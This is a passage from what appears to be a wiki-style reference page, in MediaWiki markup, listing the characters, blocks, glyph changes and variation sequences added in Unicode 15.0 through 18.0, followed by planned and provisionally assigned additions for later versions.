|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
